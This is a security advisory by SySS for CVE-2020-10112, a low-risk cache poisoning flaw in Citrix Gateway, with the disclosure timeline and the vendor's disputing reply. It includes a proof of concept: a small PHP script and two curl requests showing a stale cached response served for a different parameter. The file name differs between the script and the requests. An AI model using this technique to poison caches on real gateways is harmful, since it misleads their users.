Advisory ID:               SYSS-2020-005
Product:                   Citrix Gateway
Manufacturer:              Citrix Systems, Inc.
Affected Version(s):       11.1, 12.0, 12.1
Tested Version(s):         11.1.63.15, 12.0.63.13, 12.1.55.18
Vulnerability Type:        Cache Poisoning (CAPEC-141)
Risk Level:                Low
Solution Status:           Open
Manufacturer Notification: 2020-01-31
Solution Date:             no solution
Public Disclosure:         2020-03-05
CVE Reference:             CVE-2020-10112
Author of Advisory:        Micha Borrmann (SySS GmbH)

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Overview:

"Citrix Gateway is a customer-managed solution that can be deployed on
premises or on any public cloud, such as AWS, Azure, or Google Cloud
Platform.  Citrix Gateway provides users with secure access and single
sign-on to all the virtual, SaaS and web applications they need to be
productive." (see [1])

The solution contains a caching system, which stores dynamic content
for a static period of time.  During the caching time, even requests
with individual parameters are answered with the cached value.  This
can be abused for cache poisoning.

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Vulnerability Details:

If a client is asking for an URL with parameter "value=A", the
parameter will be processed and the response will be cached.  If
another client is requesting the same URL but with a different
parameter "value=B", the request will be answered with the initial
response ("value=A") during the caching time (for 112 seconds).

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Proof of Concept (PoC):

Provide on a Citrix Gateway system ($NSGATEWAYHOST) the following PHP
script at /var/netscaler/logon/increment.php.

<?php
print(++$_POST[value]);
print("\n");
?>

The first response will be processed correctly, meaning that the
provided value in the HTTP response will be incremented by one.

$ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=41" 
HTTP/1.1 200 OK
Age: 1         
Date: Fri, 31 Jan 2020 12:13:11 GMT
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-store, must-revalidate
Connection: Keep-Alive
Via: NS-CACHE-10.0: 121
ETag: "KXGGENKFDKPU"
Server: Apache
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Content-Length: 3
Content-Type: text/html; charset=UTF-8

42


A later request will be answered with the same value, even with
another browser from another source IP address:

$ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=77" --user-agent "Mozilla"
HTTP/1.1 200 OK
Age: 71        
Date: Fri, 31 Jan 2020 12:13:11 GMT
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-store,must-revalidate
Connection: Keep-Alive
Via: NS-CACHE-10.0: 121
ETag: "KXGGENKFDKPU"
Server: Apache
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Content-Length: 3
Content-Type: text/html; charset=UTF-8

42


If the age of the response reaches 112, the cache will be cleared and
then the correct value will be used.

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Solution:

SySS GmbH is not aware of a solution to the described security issue.
The Citrix Security Response Team responded on 02/28/2020 with the
following statement: "We have determined that the described cache
behavior does not have a security impact and is not considered a
vulnerability."

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Disclosure Timeline:

2020-01-22: Detection of the vulnerability
2020-01-31: Vulnerability reported to manufacturer
2020-02-28: Received vendor's response
2020-03-04: CVE number assigned
2020-03-05: Public release of the security advisory

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References:

[1] Citrix Gateway product website
    https://www.citrix.com/products/citrix-gateway/
[2] SySS Security Advisory SYSS-2020-005
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-005.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Micha Borrmann of SySS GmbH.

E-Mail: micha.borrmann (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Micha_Borrmann.asc
Key Fingerprint: F2E7 C6A5 9950 84ED 7AD6  0DD4 EDBE 26E7 14EA 5876

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Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory
may be updated in order to provide as accurate information as
possible. The latest version of this security advisory is available on
the SySS Web site.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en